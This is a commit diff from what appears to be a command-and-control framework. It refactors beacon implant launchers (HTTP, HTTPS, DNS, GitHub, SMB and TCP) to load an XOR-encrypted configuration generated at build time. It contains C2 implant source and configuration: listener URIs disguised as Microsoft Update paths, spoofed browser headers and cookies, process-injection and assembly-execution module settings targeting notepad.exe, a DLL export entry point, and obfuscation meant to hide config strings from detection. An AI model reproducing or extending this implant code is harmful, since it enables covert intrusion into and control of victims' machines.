Skip to content

Commit 0bec12b

Browse files
author
maxdcb
committed
Beacons & Modules config
1 parent 0942f07 commit 0bec12b

File tree

10 files changed

+218
-115
lines changed

10 files changed

+218
-115
lines changed

‎beacon/beacon/BeaconConfig.json‎

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"DomainName": "",
3+
"ExposedIp": "",
4+
"xorKey": "dfsdgferhzdzxczevre5595485sdg",
5+
"ListenerHttpConfig": {
6+
"uri": [
7+
"/MicrosoftUpdate/ShellEx/KB242742/default.aspx",
8+
"/MicrosoftUpdate/ShellEx/KB242742/admin.aspx",
9+
"/MicrosoftUpdate/ShellEx/KB242742/download.aspx"
10+
],
11+
"client": {
12+
"headers": {
13+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36",
14+
"Connection": "Keep-Alive",
15+
"Content-Type": "text/plain;charset=UTF-8",
16+
"Content-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7",
17+
"Authorization": "YWRtaW46c2RGSGVmODQvZkg3QWMtIQ==",
18+
"Keep-Alive": "timeout=5, max=1000",
19+
"Cookie": "PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1",
20+
"Accept": "*/*",
21+
"Sec-Ch-Ua": "\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\"",
22+
"Sec-Ch-Ua-Platform": "Windows"
23+
}
24+
}
25+
},
26+
"ListenerHttpsConfig": {
27+
"uri": [
28+
"/MicrosoftUpdate/ShellEx/KB242742/default.aspx",
29+
"/MicrosoftUpdate/ShellEx/KB242742/upload.aspx",
30+
"/MicrosoftUpdate/ShellEx/KB242742/config.aspx"
31+
],
32+
"client": {
33+
"headers": {
34+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36",
35+
"Connection": "Keep-Alive",
36+
"Content-Type": "text/plain;charset=UTF-8",
37+
"Content-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7",
38+
"Authorization": "YWRtaW46c2RGSGVmODQvZkg3QWMtIQ==",
39+
"Keep-Alive": "timeout=5, max=1000",
40+
"Cookie": "PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1",
41+
"Accept": "*/*",
42+
"Sec-Ch-Ua": "\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\"",
43+
"Sec-Ch-Ua-Platform": "Windows"
44+
}
45+
}
46+
},
47+
"ModulesConfig": {
48+
"assemblyExec": {
49+
"process": "notepad.exe",
50+
"test": "test"
51+
},
52+
"inject": {
53+
"process": "notepad.exe",
54+
"test": "test"
55+
},
56+
"toto": {
57+
"process": "test",
58+
"test": "test"
59+
}
60+
}
61+
}

‎beacon/beacon/BeaconDnsLauncher.cpp‎

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
#include "BeaconDns.hpp"
22

3+
#include "cryptDef.hpp"
4+
35

46
using namespace std;
57

@@ -14,8 +16,12 @@ int main(int argc, char* argv[])
1416
if (argc > 2)
1517
domain = argv[2];
1618

19+
std::string configDecrypt(std::begin(_EncryptedBeaconHttpConfig_), std::end(_EncryptedBeaconHttpConfig_));
20+
std::string keyConfig(std::begin(_KeyConfig_), std::end(_KeyConfig_));
21+
XOR(configDecrypt, keyConfig);
22+
1723
std::unique_ptr<Beacon> beacon;
18-
beacon = make_unique<BeaconDns>(dnsServer, domain);
24+
beacon = make_unique<BeaconDns>(configDecrypt, dnsServer, domain);
1925

2026
beacon->run();
2127
}

‎beacon/beacon/BeaconGithubLauncher.cpp‎

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
#include "BeaconGithub.hpp"
22

3+
#include "cryptDef.hpp"
4+
35

46
using namespace std;
57

@@ -14,8 +16,12 @@ int main(int argc, char* argv[])
1416
if (argc > 2)
1517
token = argv[2];
1618

19+
std::string configDecrypt(std::begin(_EncryptedBeaconHttpConfig_), std::end(_EncryptedBeaconHttpConfig_));
20+
std::string keyConfig(std::begin(_KeyConfig_), std::end(_KeyConfig_));
21+
XOR(configDecrypt, keyConfig);
22+
1723
std::unique_ptr<Beacon> beacon;
18-
beacon = make_unique<BeaconGithub>(project, token);
24+
beacon = make_unique<BeaconGithub>(configDecrypt, project, token);
1925

2026
beacon->run();
2127
}

‎beacon/beacon/BeaconHttpLauncher.cpp‎

Lines changed: 7 additions & 108 deletions
Original file line numberDiff line numberDiff line change
@@ -1,108 +1,9 @@
11
#include "BeaconHttp.hpp"
22

3-
4-
using namespace std;
3+
#include "cryptDef.hpp"
54

65

7-
// XOR encrypted at compile time, so don't appear in string
8-
// size of the config contained between () must be set in the compileTimeXOR template function
9-
constexpr std::string_view _BeaconHttpConfig_ = R"({
10-
"ListenerHttpConfig": [
11-
{
12-
"uri": [
13-
"/MicrosoftUpdate/ShellEx/KB242742/default.aspx",
14-
"/MicrosoftUpdate/ShellEx/KB242742/admin.aspx",
15-
"/MicrosoftUpdate/ShellEx/KB242742/download.aspx"
16-
],
17-
"client": [
18-
{
19-
"headers": [
20-
{
21-
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
22-
},
23-
{
24-
"Connection": "Keep-Alive"
25-
},
26-
{
27-
"Content-Type": "text/plain;charset=UTF-8"
28-
},
29-
{
30-
"Content-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"
31-
},
32-
{
33-
"Authorization": "YWRtaW46c2RGSGVmODQvZkg3QWMtIQ=="
34-
},
35-
{
36-
"Keep-Alive": "timeout=5, max=1000"
37-
},
38-
{
39-
"Cookie": "PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1"
40-
},
41-
{
42-
"Accept": "*/*"
43-
},
44-
{
45-
"Sec-Ch-Ua": "\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\""
46-
},
47-
{
48-
"Sec-Ch-Ua-Platform": "Windows"
49-
}
50-
]
51-
}
52-
]
53-
}
54-
],
55-
"ListenerHttpsConfig": [
56-
{
57-
"uri": [
58-
"/MicrosoftUpdate/ShellEx/KB242742/default.aspx",
59-
"/MicrosoftUpdate/ShellEx/KB242742/upload.aspx",
60-
"/MicrosoftUpdate/ShellEx/KB242742/config.aspx"
61-
],
62-
"client": [
63-
{
64-
"headers": [
65-
{
66-
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
67-
},
68-
{
69-
"Connection": "Keep-Alive"
70-
},
71-
{
72-
"Content-Type": "text/plain;charset=UTF-8"
73-
},
74-
{
75-
"Content-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"
76-
},
77-
{
78-
"Authorization": "YWRtaW46c2RGSGVmODQvZkg3QWMtIQ=="
79-
},
80-
{
81-
"Keep-Alive": "timeout=5, max=1000"
82-
},
83-
{
84-
"Cookie": "PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1"
85-
},
86-
{
87-
"Accept": "*/*"
88-
},
89-
{
90-
"Sec-Ch-Ua": "\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\""
91-
},
92-
{
93-
"Sec-Ch-Ua-Platform": "Windows"
94-
}
95-
]
96-
}
97-
]
98-
}
99-
]
100-
})";
101-
102-
constexpr std::string_view keyConfig = ".CRT$XCL";
103-
104-
// compile time encryption of http configuration
105-
constexpr std::array<char, 3564> _EncryptedBeaconHttpConfig_ = compileTimeXOR<3564, 8>(_BeaconHttpConfig_, keyConfig);
6+
using namespace std;
1067

1078

1089
int main(int argc, char* argv[])
@@ -125,10 +26,9 @@ int main(int argc, char* argv[])
12526
https=false;
12627
}
12728

128-
// decrypt HttpConfig
12929
std::string configDecrypt(std::begin(_EncryptedBeaconHttpConfig_), std::end(_EncryptedBeaconHttpConfig_));
130-
std::string key(keyConfig);
131-
XOR(configDecrypt, key);
30+
std::string keyConfig(std::begin(_KeyConfig_), std::end(_KeyConfig_));
31+
XOR(configDecrypt, keyConfig);
13232

13333
std::unique_ptr<Beacon> beacon;
13434
beacon = make_unique<BeaconHttp>(configDecrypt, ip, port, https);
@@ -171,10 +71,9 @@ extern "C" __declspec(dllexport) int go(PCHAR argv)
17171
if(sHttps=="https")
17272
https=true;
17373

174-
// decrypt HttpConfig
175-
std::string configDecrypt(std::begin(_EncryptedBeaconHttpConfig_), std::end(_EncryptedBeaconHttpConfig_));
176-
std::string key(keyConfig);
177-
XOR(configDecrypt, key);
74+
std::string configDecrypt(std::begin(_EncryptedBeaconHttpConfig_), std::end(_EncryptedBeaconHttpConfig_));
75+
std::string keyConfig(std::begin(_KeyConfig_), std::end(_KeyConfig_));
76+
XOR(configDecrypt, keyConfig);
17877

17978
std::unique_ptr<Beacon> beacon;
18079
beacon = make_unique<BeaconHttp>(configDecrypt, ip, port, https);

‎beacon/beacon/BeaconSmbLauncher.cpp‎

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
#include "BeaconSmb.hpp"
22

3+
#include "cryptDef.hpp"
4+
35

46
using namespace std;
57

@@ -10,8 +12,12 @@ int main(int argc, char* argv[])
1012
if(argc > 1)
1113
pipeName = argv[1];
1214

15+
std::string configDecrypt(std::begin(_EncryptedBeaconHttpConfig_), std::end(_EncryptedBeaconHttpConfig_));
16+
std::string keyConfig(std::begin(_KeyConfig_), std::end(_KeyConfig_));
17+
XOR(configDecrypt, keyConfig);
18+
1319
std::unique_ptr<Beacon> beacon;
14-
beacon = make_unique<BeaconSmb>(pipeName);
20+
beacon = make_unique<BeaconSmb>(configDecrypt, pipeName);
1521

1622
beacon->run();
1723
}

‎beacon/beacon/BeaconTcpLauncher.cpp‎

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
#include "BeaconTcp.hpp"
22

3+
#include "cryptDef.hpp"
4+
35

46
using namespace std;
57

@@ -14,8 +16,12 @@ int main(int argc, char* argv[])
1416
if (argc > 2)
1517
port = atoi(argv[2]);
1618

19+
std::string configDecrypt(std::begin(_EncryptedBeaconHttpConfig_), std::end(_EncryptedBeaconHttpConfig_));
20+
std::string keyConfig(std::begin(_KeyConfig_), std::end(_KeyConfig_));
21+
XOR(configDecrypt, keyConfig);
22+
1723
std::unique_ptr<Beacon> beacon;
18-
beacon = make_unique<BeaconTcp>(ip, port);
24+
beacon = make_unique<BeaconTcp>(configDecrypt, ip, port);
1925

2026
beacon->run();
2127
}

‎beacon/beacon/CMakeLists.txt‎

Lines changed: 17 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,23 @@
1+
find_package(PythonInterp)
2+
find_package(Python)
3+
4+
set(PYTHON_SCRIPT "${CMAKE_SOURCE_DIR}//beacon/beacon/handleConfig.py")
5+
set(GENERATED_HEADER "${CMAKE_BINARY_DIR}/cryptDef.hpp")
6+
add_custom_command(
7+
OUTPUT ${GENERATED_HEADER}
8+
COMMAND ${PYTHON_EXECUTABLE} ${PYTHON_SCRIPT} -o ${GENERATED_HEADER}
9+
COMMENT "Generating header.hpp using handleConfig.py"
10+
VERBATIM
11+
)
12+
add_custom_target(HandleConfig ALL DEPENDS ${GENERATED_HEADER})
13+
include_directories(${CMAKE_BINARY_DIR})
14+
15+
116
set(SOURCES_BEACON_HTTP_LAUNCHER
217
BeaconHttpLauncher.cpp
318
)
4-
add_executable(BeaconHttp ${SOURCES_BEACON_HTTP_LAUNCHER} project.rc)
19+
add_executable(BeaconHttp ${SOURCES_BEACON_HTTP_LAUNCHER} project.rc ${GENERATED_HEADER})
20+
add_dependencies(BeaconHttp HandleConfig)
521
set_property(TARGET BeaconHttp PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
622
target_link_libraries(BeaconHttp BeaconHttpLib)
723
add_custom_command(TARGET BeaconHttp POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
@@ -38,7 +54,6 @@ add_custom_command(TARGET BeaconSmb POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
3854
$<TARGET_FILE:BeaconSmb> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconSmb>")
3955

4056

41-
4257
set(SOURCES_BEACON_DNS_LAUNCHER
4358
BeaconDnsLauncher.cpp
4459
)

‎beacon/beacon/clearDef.h‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
#pragma once
2+
3+
char _EncryptedBeaconHttpConfig_[] = CONFIG;
4+
char _KeyConfig_[] = KEY_XOR;

0 commit comments

Comments
 (0)